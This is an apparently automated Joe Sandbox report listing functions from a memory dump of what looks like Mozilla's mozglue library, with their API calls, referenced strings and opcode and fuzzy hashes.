memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CB1D019,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?), ref: 6CAFFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CB1D019,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?,?), ref: 6CAFFFF5
free.MOZGLUE(?,?,?,?,?,6CB1D019,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?), ref: 6CB0001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CB1D019,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?,?), ref: 6CB0002A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 480b23dfd1687e667e61c1bea0b3e226931abf5eaa7bfa3c5424527aa17fe922
Instruction ID: 09279b4b319d6c74e387a28e576537ed7ee4cdaa3c4e70e2d962287739bd2299
Opcode Fuzzy Hash: 480b23dfd1687e667e61c1bea0b3e226931abf5eaa7bfa3c5424527aa17fe922
Instruction Fuzzy Hash: B821D3B2B002155BD7089E7CEC948AFB7FAFB853247250738E925D7780EA70AD4687D1

Function 6CADB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CADB4F5
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CADB502
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CADB542
free.MOZGLUE(?), ref: 6CADB578

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6101ae955de5ae506b0a842eb427b19c2169c5e56f3b7c3d562dcd88ec269dee
Instruction ID: 605c4ce77ff432edaada1537597ee3b171985dc6fe863ef8ac6819d20fc805d2
Opcode Fuzzy Hash: 6101ae955de5ae506b0a842eb427b19c2169c5e56f3b7c3d562dcd88ec269dee
Instruction Fuzzy Hash: 2D110335A18B41C7D712DF29E4007A6B3B1FFDA328F15970AE84A53B01EBB0B1C48790

Function 6CB03DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CACF20E,?), ref: 6CB03DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CACF20E,00000000,?), ref: 6CB03DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB03E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB03E0E

Part of subcall function 6CAFCC00: GetCurrentProcess.KERNEL32(?,?,6CAC31A7), ref: 6CAFCC0D
Part of subcall function 6CAFCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAC31A7), ref: 6CAFCC16

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: bb07e0dcbb9b1f7dd9b427afa3b9ba76ee2fba6d0c9b42a18b0118484052a4d1
Instruction ID: 366f69d4fa67b5cf502cfbffd1078ee772acb79da40eff2a0cc90ecefd1e78cf
Opcode Fuzzy Hash: bb07e0dcbb9b1f7dd9b427afa3b9ba76ee2fba6d0c9b42a18b0118484052a4d1
Instruction Fuzzy Hash: 3CF082B16002087BDB00AB54DC41DAF372CEB46628F044020FE0C57701D635BD1986F7

Function 6CB120B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB120B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CAFFBD1), ref: 6CB120C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CAFFBD1), ref: 6CB120DA
free.MOZGLUE(00000000,?,6CAFFBD1), ref: 6CB120F1

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 133c0f13a70c54d66de762e7dcfcdff9ff91ee6d24c11c75cac5201840db2193
Instruction ID: 2c02f96d91fa36788746ccc392c69c8d4a09ac1cd6e111cde50c756c793233d8
Opcode Fuzzy Hash: 133c0f13a70c54d66de762e7dcfcdff9ff91ee6d24c11c75cac5201840db2193
Instruction Fuzzy Hash: D6E06531608A249BC620AF25D80894EB7FDFF87318B14462AE54683F00E776A54A86D6

Function 6CB185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB185D3

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB18725

Strings

map/set<T> too long, xrefs: 6CB18720

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 21016f4fffcec0823a11a413342aa6bb225663f889a27576be8a30fe8c096d0b
Instruction ID: 12b2cc384c640e008affe006470298027fdef9f0c8743b83ddc491900fe92c12
Opcode Fuzzy Hash: 21016f4fffcec0823a11a413342aa6bb225663f889a27576be8a30fe8c096d0b
Instruction Fuzzy Hash: B9516774A08681CFD701CF18C184A59BBF1FF5A318F1AC29AD8595BB52C336E885CF92

Function 6CACBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CACBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CACBE8F

Strings

0, xrefs: 6CACBE5B

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 30c72bb16dc3f805d0e1f799b3f682c25f2c0ddb96b4a0876e643c7f2cd8a26e
Instruction ID: 3cc5dbb65f492285a3eb11282921ecb385a1dc5318ad33ecf8f132c50b4bad16
Opcode Fuzzy Hash: 30c72bb16dc3f805d0e1f799b3f682c25f2c0ddb96b4a0876e643c7f2cd8a26e
Instruction Fuzzy Hash: D1418E71A09745CFC701CF38E481A9BB7F4AF8A748F004B1DF995AB611D73299898B83

Function 6CB03CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB03D19
mozalloc_abort.MOZGLUE(?), ref: 6CB03D6C

Strings

d, xrefs: 6CB03D58

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 03aecd1c3baacb2fe17cb53e5cc93dc4c65e60f63eea31855658a3c9b4af54cf
Instruction ID: 96d20c859171d2ce77f5c3184c7881199633fe405b283008376ed7f1f996d944
Opcode Fuzzy Hash: 03aecd1c3baacb2fe17cb53e5cc93dc4c65e60f63eea31855658a3c9b4af54cf
Instruction Fuzzy Hash: 8D11BF35F086D89BDB019B69DC188ADBB75EF96218B448318EC599B602FB30A5C4C790

Function 6CAD4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAD44B2,6CB4E21C,6CB4F7F8), ref: 6CAD473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAD474A

Strings

GetNtLoaderAPI, xrefs: 6CAD4744

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 72b93879cbdc8028e81d9f5c7d6451c520d6ff90e0b3f4cc5a964b065e30984b
Instruction ID: b92346d4611293bb862357465e9b42e65eef971037fd0a522e41266f93f07257
Opcode Fuzzy Hash: 72b93879cbdc8028e81d9f5c7d6451c520d6ff90e0b3f4cc5a964b065e30984b
Instruction Fuzzy Hash: 6901B5757042548FDF00AFA9D454A2D7BF9FB8B315B098469EA05CB304DB74E8018F91

Function 6CB26DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB26E22
__Init_thread_footer.LIBCMT ref: 6CB26E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB26E1D

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e42c8469715c6845a1904294d4f68ab808be531da9b0544fda25b45507606bd7
Instruction ID: fd2345b7eaa61f1401bc65cf0cdf91fd135d0589f76b6a892efa3a7d30dafa31
Opcode Fuzzy Hash: e42c8469715c6845a1904294d4f68ab808be531da9b0544fda25b45507606bd7
Instruction Fuzzy Hash: 23F05939A0C2C0CBDB00BBA8C950AA37372F31332CF048165C81847B59D734A91BCA93

Function 6CAD9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAD9EEF

Strings

Infinity, xrefs: 6CAD9EB7
NaN, xrefs: 6CAD9EC1

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: c44dc088080a700b6af2324e41365426330eadfa0b2bd2926dee2844a5bb68a6
Instruction ID: d355c786ac95e73861ee85fe5e10b33ef7ce73f1137d31d3a352e2c636b7d6a0
Opcode Fuzzy Hash: c44dc088080a700b6af2324e41365426330eadfa0b2bd2926dee2844a5bb68a6
Instruction Fuzzy Hash: 4AF0F67160C3A2CBDB00EF58DA557A23372B30731DF24CA94C5040BB48DB35B986CB82

Function 6CADBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CADBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CADBEF5

Strings

cryptbase.dll, xrefs: 6CADBEF0

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 9fdb94bc3c8e0e03075fe1f6e64a023f530f20b64f63e2f24e703ed4f425a766
Instruction ID: 1226fd8542382ae884a6ca080cc2adfb9ea61ca6fd7be2d68a1b1e20f15bffc9
Opcode Fuzzy Hash: 9fdb94bc3c8e0e03075fe1f6e64a023f530f20b64f63e2f24e703ed4f425a766
Instruction Fuzzy Hash: D6D0A7311C8508E6C604BA509C05F193774A701729F10C420F34545851CBB0A450CF40

Function 6CAC50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAC4E9C,?,?,?,?,?), ref: 6CAC510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAC4E9C,?,?,?,?,?), ref: 6CAC5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CAC5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAC4E9C), ref: 6CAC5234

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: f6ca715366601a3a31bfe93154bcdcdbeb664a7a1b47c0b9e897f16025b2035c
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 4691AE75605656CFCB14CF08C890A5ABBA1FF99318B28868CEC589B715D731FC82CBE1

Function 6CB008F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CB00918
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CB009A6
EnterCriticalSection.KERNEL32(6CB4E7DC,?,00000000), ref: 6CB009F3
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CB00ACB

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 842e3e7573f6517fa02d5e2000e028f629c9a610d5b5bc212c8eec06c65b387c
Instruction ID: 1112b777ff28e1c9b103ba8c244b97177bd3d0688ffbce0d808b4cbedf1de1aa
Opcode Fuzzy Hash: 842e3e7573f6517fa02d5e2000e028f629c9a610d5b5bc212c8eec06c65b387c
Instruction Fuzzy Hash: 8F511C3670A9D0CFEB04EF59D400A6A77B1FB81B38725C139D96597F84D730E84186D1

Function 6CB1B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB1B2C9,?,?,?,6CB1B127,?,?,?,?,?,?,?,?,?,6CB1AE52), ref: 6CB1B628

Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB190FF
Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB1B2C9,?,?,?,6CB1B127,?,?,?,?,?,?,?,?,?,6CB1AE52), ref: 6CB1B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB1B2C9,?,?,?,6CB1B127,?,?,?,?,?,?,?,?,?,6CB1AE52), ref: 6CB1B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB1B127,?,?,?,?,?,?,?,?), ref: 6CB1B74D

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 059fb1e9da11649e5a4b4086d009f225b4a027ea5b8b5cd3a63c90e5d7ec23dd
Instruction ID: 993aecbc450f1d9754b433bc6b9170b3d4160bd684dbd10b77186ed6fa88740b
Opcode Fuzzy Hash: 059fb1e9da11649e5a4b4086d009f225b4a027ea5b8b5cd3a63c90e5d7ec23dd
Instruction Fuzzy Hash: 6C51FEF1A093568FEB14CF18C98076EB7B5FF95304F05852DC85AABB10DB31A804CBA2

Function 6CB1DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB0FF2A), ref: 6CB1DFFD

Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB190FF
Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB0FF2A), ref: 6CB1E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB0FF2A), ref: 6CB1E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CB0FF2A), ref: 6CB1E0FE

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b8bed9419e9f1ac8466b619071aecb3f9e1ce5277997976ba1affaa855b02c25
Instruction ID: 5984c37bc2c64ac3576957aee605b74fe26cd60aa777f468df5c7b53602e9514
Opcode Fuzzy Hash: b8bed9419e9f1ac8466b619071aecb3f9e1ce5277997976ba1affaa855b02c25
Instruction Fuzzy Hash: 6941ADB1608286CFEB14CF68C88975E73BAFB45308F154929D516DBF40E732E914CB92

Function 6CB16E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CB16EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CB16EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB16F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB16F5C

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 16eb6edc9ea291d14de7424931d02f2628877b422ca8225dd6980ba6235409b4
Instruction ID: 4501fb23a371d16c70d32e3546763887130c799ddd044d8a466534cfe296b90a
Opcode Fuzzy Hash: 16eb6edc9ea291d14de7424931d02f2628877b422ca8225dd6980ba6235409b4
Instruction Fuzzy Hash: 7531F671A1460A8FDB04CF2CC9806AE73E9FB85304F50823DD41AC7A55EF31E659C791

Function 6CB2B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAD0A4D), ref: 6CB2B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAD0A4D), ref: 6CB2B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAD0A4D), ref: 6CB2B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAD0A4D), ref: 6CB2B67F

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 8a6003f983c14f13b50209279c40afd978e6c32630d889c61efdbe4d4f380593
Instruction ID: 48495a3dfff528728d660d0527491d7da7b5e675466c66a013752d2ce542ac7e
Opcode Fuzzy Hash: 8a6003f983c14f13b50209279c40afd978e6c32630d889c61efdbe4d4f380593
Instruction Fuzzy Hash: 0131F471A002168FDB11DF58C844A6AFBB5FF81305F168529C81B9B305DF35E915CBA1

Function 6CAFF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAFF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAFF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFF668

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
